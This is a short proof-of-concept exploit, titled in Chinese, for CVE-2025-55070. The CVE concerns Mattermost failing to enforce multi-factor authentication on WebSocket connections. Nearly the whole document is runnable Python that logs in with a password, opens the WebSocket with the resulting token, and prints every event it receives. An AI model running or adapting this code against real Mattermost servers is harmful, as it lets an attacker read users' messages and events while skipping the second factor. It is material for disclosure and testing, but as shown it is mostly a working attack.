CVE-2025-55070: Mattermost WebSocket连接MFA验证绕过漏洞

# CVE-2025-55070 PoC - Mattermost WebSocket MFA Bypass # This PoC demonstrates connecting to Mattermost WebSocket without MFA verification import websocket import json import requests # Configuration MATTERMOST_URL = "https://mattermost.example.com" USERNAME = "[email protected]" PASSWORD = "password123" def get_auth_token(): """Login and get authentication token""" session = requests.Session() login_data = { "login_id": USERNAME, "password": PASSWORD } resp = session.post(f"{MATTERMOST_URL}/api/v4/users/login", json=login_data) if resp.status_code == 200: return resp.headers.get("Token"), session return None, None def connect_websocket_without_mfa(token): """Connect to WebSocket without MFA verification""" ws_url = MATTERMOST_URL.replace("https", "wss") + "/api/v4/websocket" ws = websocket.create_connection( ws_url, header={ "Authorization": f"Bearer {token}", "Origin": MATTERMOST_URL } ) # Send WebSocket authentication message auth_msg = json.dumps({ "seq": 1, "action": "authentication_challenge", "data": { "token": token } }) ws.send(auth_msg) print("[*] WebSocket connection established (MFA not enforced)") print("[*] Listening for sensitive events...") # Listen for events while True: try: result = ws.recv() event = json.loads(result) print(f"[EVENT] {json.dumps(event, indent=2)}") except: break # Main execution token, session = get_auth_token() if token: connect_websocket_without_mfa(token)